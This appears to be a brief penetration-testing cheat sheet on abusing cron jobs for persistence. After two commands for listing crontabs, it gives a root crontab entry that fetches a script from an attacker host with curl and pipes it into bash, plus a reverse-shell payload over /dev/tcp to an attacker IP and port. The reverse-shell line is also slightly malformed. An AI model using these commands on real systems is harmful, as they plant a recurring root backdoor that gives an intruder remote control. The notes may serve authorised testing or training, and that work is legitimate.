# Cronjobs

* `crontab -l`
* `cat /etc/crontab`

## Add Cronjob
* Add line
```sh
* *   * * * root curl http://<attacker-IP>:8000/shell.sh | bash
``` 
    * Shell content
    ```sh
    bash -c "bash -i >& /dev/tcp/<attacker-IP>/<attacker-Port> 0&1"
    ```